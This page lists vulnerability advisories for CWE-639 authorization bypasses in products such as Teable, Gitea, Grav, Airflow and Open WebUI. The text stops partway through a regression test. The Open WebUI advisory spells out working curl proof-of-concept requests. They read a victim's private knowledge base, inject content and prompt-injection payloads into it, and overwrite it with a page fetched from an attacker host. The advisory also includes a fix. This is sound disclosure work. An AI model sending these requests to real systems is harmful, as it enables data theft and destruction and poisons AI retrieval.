CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
3227 vulnerabilities reference this CWE, most recent first.
GHSA-49FM-7W64-4WQC
Vulnerability from github – Published: 2026-06-29 18:31 – Updated: 2026-06-29 18:31Teable before 2026-06-15T04-43-24Z.1912 contains an improper access control vulnerability that allows anonymous attackers to access hidden field data by supplying arbitrary field IDs in the projection parameter of the share view records endpoint. Attackers can enumerate hidden field IDs from share metadata and specify them in projection parameters to read field values that are intended to be restricted from public view.
{
"affected": [],
"aliases": [
"CVE-2026-56781"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T18:16:38Z",
"severity": "MODERATE"
},
"details": "Teable before 2026-06-15T04-43-24Z.1912 contains an improper access control vulnerability that allows anonymous attackers to access hidden field data by supplying arbitrary field IDs in the projection parameter of the share view records endpoint. Attackers can enumerate hidden field IDs from share metadata and specify them in projection parameters to read field values that are intended to be restricted from public view.",
"id": "GHSA-49fm-7w64-4wqc",
"modified": "2026-06-29T18:31:55Z",
"published": "2026-06-29T18:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56781"
},
{
"type": "WEB",
"url": "https://github.com/teableio/teable/issues/3335"
},
{
"type": "WEB",
"url": "https://github.com/teableio/teable/pull/3353"
},
{
"type": "WEB",
"url": "https://github.com/teableio/teable/releases/tag/release.2026-06-15T04-43-24Z.1912"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/teable-unauthenticated-hidden-field-disclosure-via-projection-parameter-override"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-49PJ-M3FF-PG2M
Vulnerability from github – Published: 2024-04-09 21:31 – Updated: 2024-04-09 21:31The Watu Quiz plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.4.1 via the watu-userinfo shortcode. This makes it possible for authenticated attackers, with contributor-level access and above, to extract sensitive user meta data which can include session tokens and user emails.
{
"affected": [],
"aliases": [
"CVE-2024-0872"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T19:15:15Z",
"severity": "MODERATE"
},
"details": "The Watu Quiz plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.4.1 via the watu-userinfo shortcode. This makes it possible for authenticated attackers, with contributor-level access and above, to extract sensitive user meta data which can include session tokens and user emails.",
"id": "GHSA-49pj-m3ff-pg2m",
"modified": "2024-04-09T21:31:57Z",
"published": "2024-04-09T21:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0872"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3036986"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/acc261eb-fafa-4e9d-b7ab-a449f14a7638?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4C48-V482-R632
Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30A BOLA vulnerability in GET, PUT, DELETE /appointments/{appointmentId} allows a low privileged user to fetch, modify or delete an appointment of any user (including admin). This results in unauthorized access and unauthorized data manipulation.
{
"affected": [],
"aliases": [
"CVE-2023-38049"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T11:15:10Z",
"severity": "CRITICAL"
},
"details": "A BOLA vulnerability in GET, PUT, DELETE /appointments/{appointmentId} allows a low privileged user to fetch, modify or delete an appointment of any user (including admin). This results in unauthorized access and unauthorized data manipulation.",
"id": "GHSA-4c48-v482-r632",
"modified": "2024-07-09T12:30:56Z",
"published": "2024-07-09T12:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38049"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4C8F-3M6H-M56R
Vulnerability from github – Published: 2026-07-03 21:31 – Updated: 2026-07-07 18:30Gitea versions before 1.25.5 allow a user to change another user's primary email address.
{
"affected": [],
"aliases": [
"CVE-2026-27657"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-03T21:16:58Z",
"severity": "HIGH"
},
"details": "Gitea versions before 1.25.5 allow a user to change another user\u0027s primary email address.",
"id": "GHSA-4c8f-3m6h-m56r",
"modified": "2026-07-07T18:30:34Z",
"published": "2026-07-03T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27657"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/36586"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/36607"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.25.5"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.25.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4CWQ-J7JV-QMWG
Vulnerability from github – Published: 2025-12-02 00:39 – Updated: 2025-12-02 00:39Summary
An IDOR (Insecure Direct Object Reference) vulnerability in the Grav CMS Admin Panel allows low-privilege users to access sensitive information from other accounts. Although direct account takeover is not possible, admin email addresses and other metadata can be exposed, increasing the risk of phishing, credential stuffing, and social engineering.
Details
- Endpoint:
/admin/accounts/users/{username} - Tested Version: Grav Admin 1.7.48
- Affected Accounts: Authenticated users with 0 privileges (non-privileged accounts)
Description:
Requesting another user’s account details (e.g., /admin/accounts/users/admin) as a low-privilege user returns an HTTP 403 Forbidden response.
However, sensitive information such as the admin’s email address is still present in the response source, specifically in the <title> tag.
system/src/Grav/Common/Flex/Types/Users/UserCollection.php
system/blueprints/flex/user-accounts.yaml
This is a classic IDOR vulnerability, where object references (usernames) are not properly protected from unauthorized enumeration.
PoC
- Log in as a non-privileged user (0-privilege account).
- Access another user’s endpoint, for example:
GET /admin/accounts/users/admin
3. Observe the HTTP 403 Forbidden response.
4. Inspect the page source; sensitive data such as the admin email can be seen in the <title> tag.
PoC Video:
https://drive.google.com/file/d/1lY_qwqSkN5sPNmHvXGOk6R1mdIgVt71H/view
Impact
- Type: Information Disclosure via IDOR
- Who is impacted: Low-privilege authenticated users can enumerate other accounts and extract sensitive metadata (admin emails).
- Risk: Exposed information can be used for targeted phishing, credential stuffing, brute-force attacks, or social engineering campaigns.
- Severity Justification: Only a low-privilege account is required, and sensitive metadata is leaked. Arbitrary code execution is not possible, but the information exposure is moderate risk.
Disclosure & CVE Request
- We request a CVE ID for this vulnerability once validated.
-
Please credit the discovery to:
-
Elvin Nuruyev
- Kanan Farzalili
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.8.0-beta.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66306"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T00:39:01Z",
"nvd_published_at": "2025-12-01T22:15:50Z",
"severity": "MODERATE"
},
"details": "## **Summary**\n\nAn **IDOR (Insecure Direct Object Reference)** vulnerability in the Grav CMS Admin Panel allows **low-privilege users to access sensitive information** from other accounts.\nAlthough direct account takeover is not possible, **admin email addresses and other metadata can be exposed**, increasing the risk of phishing, credential stuffing, and social engineering.\n\n---\n\n## **Details**\n\n* **Endpoint:** `/admin/accounts/users/{username}`\n* **Tested Version:** Grav Admin 1.7.48\n* **Affected Accounts:** Authenticated users with **0 privileges** (non-privileged accounts)\n\n**Description:**\nRequesting another user\u2019s account details (e.g., `/admin/accounts/users/admin`) as a low-privilege user returns an HTTP **403 Forbidden** response.\nHowever, sensitive information such as the **admin\u2019s email address** is still present in the **response source**, specifically in the `\u003ctitle\u003e` tag.\n\n**system/src/Grav/Common/Flex/Types/Users/UserCollection.php**\n\u003cimg width=\"700\" height=\"327\" alt=\"Screenshot 2025-08-24 021027\" src=\"https://github.com/user-attachments/assets/7e69ae49-d8fc-442f-b00c-9efaec706b2e\" /\u003e\n\n**system/blueprints/flex/user-accounts.yaml**\n\u003cimg width=\"700\" height=\"300\" alt=\"Screenshot 2025-08-24 020521\" src=\"https://github.com/user-attachments/assets/756631c8-d60b-4b84-a08a-2a9c2f81b41f\" /\u003e\n\n\nThis is a classic **IDOR vulnerability**, where object references (usernames) are not properly protected from unauthorized enumeration.\n\n---\n\n## **PoC**\n\n1. Log in as a **non-privileged user** (0-privilege account).\n2. Access another user\u2019s endpoint, for example:\n\n ```\n GET /admin/accounts/users/admin\n ```\n3. Observe the HTTP **403 Forbidden** response.\n4. Inspect the **page source**; sensitive data such as the **admin email** can be seen in the `\u003ctitle\u003e` tag.\n\n**PoC Video:** \n\n[https://drive.google.com/file/d/1lY_qwqSkN5sPNmHvXGOk6R1mdIgVt71H/view](https://drive.google.com/file/d/1lY_qwqSkN5sPNmHvXGOk6R1mdIgVt71H/view)\n\n---\n\n## **Impact**\n\n* **Type:** Information Disclosure via IDOR\n* **Who is impacted:** Low-privilege authenticated users can enumerate other accounts and extract sensitive metadata (admin emails).\n* **Risk:** Exposed information can be used for targeted phishing, credential stuffing, brute-force attacks, or social engineering campaigns.\n* **Severity Justification:** Only a low-privilege account is required, and sensitive metadata is leaked. Arbitrary code execution is not possible, but the information exposure is **moderate risk**.\n\n---\n\n## **Disclosure \u0026 CVE Request**\n\n* We request a **CVE ID** for this vulnerability once validated.\n* Please credit the discovery to:\n\n * **Elvin Nuruyev**\n * **Kanan Farzalili**",
"id": "GHSA-4cwq-j7jv-qmwg",
"modified": "2025-12-02T00:39:01Z",
"published": "2025-12-02T00:39:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-4cwq-j7jv-qmwg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66306"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/commit/b7e1958a6e807ac14919447b60e5204a2ea77f62"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Grav vulnerable to Information Disclosure via IDOR in Grav Admin Panel"
}
GHSA-4CXM-9RXQ-69RW
Vulnerability from github – Published: 2023-09-27 15:30 – Updated: 2026-05-21 09:32Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Usta" AYBS allows SQL Injection.This issue affects AYBS: before 1.0.3.
{
"affected": [],
"aliases": [
"CVE-2023-4934"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-27T15:19:41Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Usta\" AYBS allows SQL Injection.This issue affects AYBS: before 1.0.3.",
"id": "GHSA-4cxm-9rxq-69rw",
"modified": "2026-05-21T09:32:06Z",
"published": "2023-09-27T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4934"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-23-0558"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-23-0558"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4F5G-544M-849J
Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10The employee management page of Flygo contains Insecure Direct Object Reference (IDOR) vulnerability. After being authenticated as a general user, remote attackers can manipulate the employee ID in specific parameters to arbitrary access employee's data, modify it, and then obtain administrator privilege and execute arbitrary command.
{
"affected": [],
"aliases": [
"CVE-2021-37214"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-09T10:15:00Z",
"severity": "HIGH"
},
"details": "The employee management page of Flygo contains Insecure Direct Object Reference (IDOR) vulnerability. After being authenticated as a general user, remote attackers can manipulate the employee ID in specific parameters to arbitrary access employee\u0027s data, modify it, and then obtain administrator privilege and execute arbitrary command.",
"id": "GHSA-4f5g-544m-849j",
"modified": "2022-05-24T19:10:27Z",
"published": "2022-05-24T19:10:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37214"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-4991-658b1-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4FH7-7JX4-8F6C
Vulnerability from github – Published: 2026-07-07 12:31 – Updated: 2026-07-07 15:32Before apache-airflow 3.3.0, a user authorized to read one Dag could disclose the source of other Dags co-located in the same source file. GET /api/v2/dagSources/{dag_id} — and the equivalent Dag-source view in the UI — returned the entire source file without redacting Dags the caller was not authorized to read, bypassing per-DAG read authorization. Deployments that co-locate multiple Dags in a single file and rely on per-DAG access control to limit source visibility are affected; single-Dag-per-file deployments are not. Upgrade to apache-airflow 3.3.0 or later.
{
"affected": [],
"aliases": [
"CVE-2026-49296"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-07T10:16:41Z",
"severity": "MODERATE"
},
"details": "Before apache-airflow 3.3.0, a user authorized to read one Dag could disclose the source of other Dags co-located in the same source file. `GET /api/v2/dagSources/{dag_id}` \u2014 and the equivalent Dag-source view in the UI \u2014 returned the entire source file without redacting Dags the caller was not authorized to read, bypassing per-DAG read authorization. Deployments that co-locate multiple Dags in a single file and rely on per-DAG access control to limit source visibility are affected; single-Dag-per-file deployments are not. Upgrade to apache-airflow 3.3.0 or later.",
"id": "GHSA-4fh7-7jx4-8f6c",
"modified": "2026-07-07T15:32:56Z",
"published": "2026-07-07T12:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49296"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/pull/67662"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/qqv41t3oydkn9o14r2rfz1wkdrsp5jzn"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/07/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4FM2-H577-F3G8
Vulnerability from github – Published: 2024-10-16 18:31 – Updated: 2024-10-16 18:31Dell E-Lab Navigator, [3.1.9, 3.2.0], contains an Insecure Direct Object Reference Vulnerability in Feedback submission. An attacker could potentially exploit this vulnerability, to manipulate the email's appearance, potentially deceiving recipients and causing reputational and security risks.
{
"affected": [],
"aliases": [
"CVE-2024-22455"
],
"database_specific": {
"cwe_ids": [
"CWE-451",
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-14T07:15:09Z",
"severity": "MODERATE"
},
"details": "\nDell E-Lab Navigator, [3.1.9, 3.2.0], contains an Insecure Direct Object Reference Vulnerability in Feedback submission. An attacker could potentially exploit this vulnerability, to manipulate the email\u0027s appearance, potentially deceiving recipients and causing reputational and security risks.\n\n",
"id": "GHSA-4fm2-h577-f3g8",
"modified": "2024-10-16T18:31:33Z",
"published": "2024-10-16T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22455"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000222015/dsa-2024-073-security-update-for-mobility-e-lab-navigator-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G37-7P2C-38R9
Vulnerability from github – Published: 2026-05-14 20:26 – Updated: 2026-05-15 23:55IDOR: Retrieval API Bypasses Knowledge Base Access Controls
Author: Andrew Orr aorr@tenable.com
Summary
_validate_collection_access() (PR #22109) checks the user-memory-* and file-* collection name prefixes but does not check knowledge base collections, which use raw UUIDs as collection names. Any authenticated user who knows a private knowledge base UUID can read its content through the retrieval query endpoints, even though the knowledge API correctly denies that user access. The same gap affects the retrieval write endpoints (/process/text, /process/file, /process/files/batch, /process/web, /process/youtube), allowing an attacker to inject content into or overwrite another user's knowledge base.
Reproduced on main at commit 4d058a125 (v0.8.11) on March 26, 2026.
Severity
- CWE-639: Authorization Bypass Through User-Controlled Key
- CVSS 3.1:
7.5 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)--AC:Hbecause exploitation requires knowing a target UUID;I:HandA:Hbecause the write path allows poisoning or destruction of another user's knowledge base
Default Configuration Reachability
Reachable in default configuration. All affected endpoints require only get_verified_user, not get_admin_user, so any non-admin account in a typical multi-user deployment can reach them. The only prerequisite beyond authentication is knowledge of a target knowledge base UUID, which is reflected in the AC:H score. However, KB UUIDs are stable identifiers that leak through normal usage rather than secrets (see Prerequisites below).
Root Cause
Knowledge base embeddings are stored in vector DB collections named with the knowledge base's UUID (e.g., 550e8400-e29b-41d4-a716-446655440000). The _validate_collection_access function only blocks two specific prefixes:
# backend/open_webui/routers/retrieval.py lines 2330-2355
def _validate_collection_access(collection_names: list[str], user) -> None:
if user.role == "admin":
return
for name in collection_names:
if name.startswith("user-memory-") and name != f"user-memory-{user.id}":
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
elif name.startswith("file-"):
file_id = name[len("file-"):]
if not has_access_to_file(
file_id=file_id,
access_type="read",
user=user,
):
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
# No else clause -- knowledge base UUIDs pass through unchecked
Knowledge base UUIDs do not match either prefix, so the function returns without raising an exception. The query then executes against the vector DB with no further authorization check.
Vulnerable Endpoints
Read Endpoints
Both retrieval query endpoints accept a collection name and call _validate_collection_access as their sole authorization gate:
POST /api/v1/retrieval/query/doc(line 2367) -- singlecollection_namePOST /api/v1/retrieval/query/collection(line 2432) -- list ofcollection_names
Write Endpoints
The following endpoints accept a collection_name parameter and write to the target collection without checking whether the caller owns it:
POST /api/v1/retrieval/process/text(line 1777) -- appends attacker-controlled content to the target collectionPOST /api/v1/retrieval/process/file(line 1528) -- validates ownership of the uploaded file but not the destination collectionPOST /api/v1/retrieval/process/files/batch(line 2578) -- same as above for multiple filesPOST /api/v1/retrieval/process/webandPOST /api/v1/retrieval/process/youtube(lines 1810-1811) -- same handler;overwritedefaults totrue, so targeting an existing knowledge base deletes and replaces it
| Endpoint | Read | Write | Overwrite | Access Check |
|---|---|---|---|---|
| /query/doc | Yes | -- | -- | Prefix-only (bypassed) |
| /query/collection | Yes | -- | -- | Prefix-only (bypassed) |
| /process/text | -- | Yes | -- | None |
| /process/web | -- | Yes | Yes (default) | None |
| /process/youtube | -- | Yes | Yes (default) | None (same handler as /process/web) |
| /process/file | -- | Yes | -- | File only, not collection |
| /process/files/batch | -- | Yes | -- | File only, not collection |
Proof of Concept
Security boundary crossed: The knowledge base access control system (ownership checks, group-based access grants) is bypassed at the retrieval layer. A non-admin user who knows a private knowledge base UUID can read it, append attacker-controlled content to it, or destroy and replace it through the retrieval API, even though the knowledge API correctly denies the same user access to the same resource.
open-webui-idor-poc.sh provides a self-contained Docker lab that stands up the target environment and tests every vulnerable endpoint listed above. See the comments at the top of that file for setup, usage, and configuration options.
Prerequisites
- Attacker has an authenticated (non-pending) account on the target instance.
- A victim user has created a private knowledge base containing sensitive documents.
- Attacker knows the victim's knowledge base UUID. V4 UUIDs are not guessable, but they are stable identifiers that leak through normal platform usage:
- Access revocation: A user learns a KB UUID through a shared workspace or group, loses access, and finds the retrieval API still honors the stale UUID. The knowledge API correctly revokes access at request time (
access_grants.py:549-558dynamically queries current group memberships), but the retrieval API has no equivalent check. - Model metadata: When a model is shared with a group,
GET /api/models/listreturns the fullmeta.knowledgearray -- including KB UUIDs -- to every user with access to the model, even if they have no access to the referenced knowledge bases (models.py:58-130). - URL leakage: KB UUIDs appear in browser URLs (
/workspace/knowledge/{id},Knowledge.svelte:260) and can leak through shared links, browser history, Referrer headers, or proxy logs. - RAG citation metadata: KB UUIDs are stored as
source.idin chat message sources (middleware.py:1950-1965,socket/main.py:880-897). Shared chats return these sources unfiltered (chats.py:815-830).
Read: Extract Private KB Content
Authenticate as the attacker:
TOKEN=$(curl -s -X POST https://open-webui/api/v1/auths/signin \
-H "Content-Type: application/json" \
-d '{"email": "attacker@example.com", "password": "password"}' \
| jq -r '.token')
Control request: the knowledge API correctly blocks the attacker:
curl -s https://open-webui/api/v1/knowledge/<victim_kb_uuid> \
-H "Authorization: Bearer $TOKEN"
{"detail": "You do not have permission to access this resource."}
Exploit request: the retrieval API returns the same KB's content without authorization:
curl -s -X POST https://open-webui/api/v1/retrieval/query/doc \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"collection_name": "<victim_kb_uuid>",
"query": "confidential",
"k": 50
}'
Expected result when vulnerable: the server returns matching document chunks from the victim's private knowledge base, including text content and metadata (source filenames, file IDs, hashes).
The /query/collection endpoint accepts a list of collection names and behaves identically:
curl -s -X POST https://open-webui/api/v1/retrieval/query/collection \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"collection_names": ["<victim_kb_uuid>"],
"query": "confidential",
"k": 50
}'
Write: File Injection via /process/file
The /process/file endpoint validates that the attacker owns the uploaded file but does not validate the target collection_name. The attacker uploads a file under their own account, then processes it into the victim's collection:
# Upload attacker's file
FILE_ID=$(curl -s -X POST https://open-webui/api/v1/files/ \
-H "Authorization: Bearer $TOKEN" \
-F "file=@payload.txt;type=text/plain" \
| jq -r '.id')
# Process it into the victim's KB collection
curl -s -X POST https://open-webui/api/v1/retrieval/process/file \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"file_id\": \"$FILE_ID\",
\"collection_name\": \"<victim_kb_uuid>\"
}"
Write: Batch File Injection via /process/files/batch
Same pattern as above but accepts multiple files in a single request:
# Get the full file object for the attacker's uploaded file
FILE_OBJ=$(curl -s https://open-webui/api/v1/files/$FILE_ID \
-H "Authorization: Bearer $TOKEN")
# Batch-process into the victim's KB collection
curl -s -X POST https://open-webui/api/v1/retrieval/process/files/batch \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"files\": [$FILE_OBJ],
\"collection_name\": \"<victim_kb_uuid>\"
}"
Write: Text Injection via /process/text
/process/text appends attacker-controlled content to an existing knowledge base collection:
curl -s -X POST https://open-webui/api/v1/retrieval/process/text \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "injected.txt",
"content": "INJECTED BY ATTACKER: attacker-controlled content",
"collection_name": "<victim_kb_uuid>"
}'
The PoC then verifies that the injected text is returned by a follow-up query against the victim collection.
Write: YouTube Transcript Replacement via /process/youtube
/process/youtube uses the same handler as /process/web with the same overwrite=true default. This request replaces the victim's collection with the fetched transcript:
curl -s -X POST https://open-webui/api/v1/retrieval/process/youtube \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"url": "https://www.youtube.com/watch?v=dQw4w9WgXcQ",
"collection_name": "<victim_kb_uuid>"
}'
Write: Data Destruction via /process/web
/process/web defaults to overwrite=true, which deletes the existing collection before writing. The explicit query string below makes the destructive behavior obvious:
curl -s -X POST "https://open-webui/api/v1/retrieval/process/web?overwrite=true" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"url": "https://attacker.com/payload.html",
"collection_name": "<victim_kb_uuid>"
}'
Impact
- Confidentiality: Any authenticated user can read private knowledge base contents belonging to other users on the instance.
- Integrity: Attacker-controlled content can be injected into another user's knowledge base, poisoning downstream RAG results. Injected prompt-injection payloads would be passed to the model when the victim queries the knowledge base.
- Availability:
/process/weband/process/youtubedefault tooverwrite=true, letting an attacker delete and replace a victim's entire knowledge base in a single request.
Remediation
Two changes are needed:
-
Add a
permissionparameter to_validate_collection_access, use it for bothfile-*and knowledge base checks, and add a knowledge base ownership/access check for collection names that do not match the existing prefixes.AccessGrants.has_accessalready resolves group memberships internally whenuser_group_idsis omitted, matching the pattern used throughoutknowledge.py. -
The affected write endpoints must call
_validate_collection_accesswithpermission="write"before operating on the providedcollection_name.
--- a/backend/open_webui/routers/retrieval.py
+++ b/backend/open_webui/routers/retrieval.py
@@ -39,4 +39,5 @@
from open_webui.models.files import FileModel, FileUpdateForm, Files
from open_webui.utils.access_control.files import has_access_to_file
from open_webui.models.knowledge import Knowledges
+from open_webui.models.access_grants import AccessGrants
from open_webui.storage.provider import Storage
@@ -2330,26 +2331,39 @@
-def _validate_collection_access(collection_names: list[str], user) -> None:
+def _validate_collection_access(collection_names: list[str], user, permission: str = "read") -> None:
if user.role == "admin":
return
for name in collection_names:
if name.startswith("user-memory-") and name != f"user-memory-{user.id}":
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
elif name.startswith("file-"):
file_id = name[len("file-"):]
- if not has_access_to_file(
- file_id=file_id,
- access_type="read",
- user=user,
- ):
+ if not has_access_to_file(
+ file_id=file_id,
+ access_type=permission,
+ user=user,
+ ):
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
+ else:
+ knowledge = Knowledges.get_knowledge_by_id(id=name)
+ if knowledge and knowledge.user_id != user.id:
+ if not AccessGrants.has_access(
+ user_id=user.id,
+ resource_type="knowledge",
+ resource_id=name,
+ permission=permission,
+ ):
+ raise HTTPException(
+ status_code=status.HTTP_403_FORBIDDEN,
+ detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
+ )
The existing read callers (/query/doc, /query/collection) use the default permission="read" and require no change. Each affected write endpoint needs a validation call after collection_name is resolved:
/process/text (line 1777):
@@ -1783,5 +1783,6 @@
collection_name = form_data.collection_name
if collection_name is None:
collection_name = calculate_sha256_string(form_data.content)
+ _validate_collection_access([collection_name], user, permission="write")
docs = [
/process/web and /process/youtube (lines 1810-1811, same handler):
@@ -1824,5 +1824,6 @@
collection_name = form_data.collection_name
if not collection_name:
collection_name = calculate_sha256_string(form_data.url)[:63]
+ _validate_collection_access([collection_name], user, permission="write")
if not request.app.state.config.BYPASS_WEB_SEARCH_EMBEDDING_AND_RETRIEVAL:
/process/file (line 1528):
@@ -1548,6 +1548,7 @@
collection_name = form_data.collection_name
if collection_name is None:
collection_name = f"file-{file.id}"
+ _validate_collection_access([collection_name], user, permission="write")
if form_data.content:
/process/files/batch (line 2578):
@@ -2593,3 +2593,4 @@
collection_name = form_data.collection_name
+ _validate_collection_access([collection_name], user, permission="write")
file_results: List[BatchProcessFilesResult] = []
Regression Test
A regression test should verify that _validate_collection_access blocks non-owners from accessing knowledge base collections:
from unittest.mock import MagicMock, patch
import pytest
from fastapi import HTTPException
from open_webui.routers.retrieval import _validate_collection_access
def test_validate_collection_access_blocks_non_owner_read():
victim_kb_id = "550e8400-e29b-41d4-a716-446655440000"
attacker = MagicMock()
attacker.id = "attacker-user-id"
attacker.role = "user"
mock_knowledge = MagicMock()
mock_knowledge.user_id = "victim-user-id"
with patch(
"open_webui.routers.retrieval.Knowledges.get_knowledge_by_id",
return_value=mock_knowledge,
), patch(
"open_webui.routers.retrieval.AccessGrants.has_access",
return_value=False,
):
with pytest.raises(HTTPException) as exc_info:
_validate_collection_access([victim_kb_id], attacker)
assert exc_info.value.status_code == 403
def test_validate_collection_access_blocks_non_owner_write():
victim_kb_id = "550e8400-e29b-41d4-a716-446655440000"
attacker = MagicMock()
attacker.id = "attacker-user-id"
attacker.role = "user"
mock_knowledge = MagicMock()
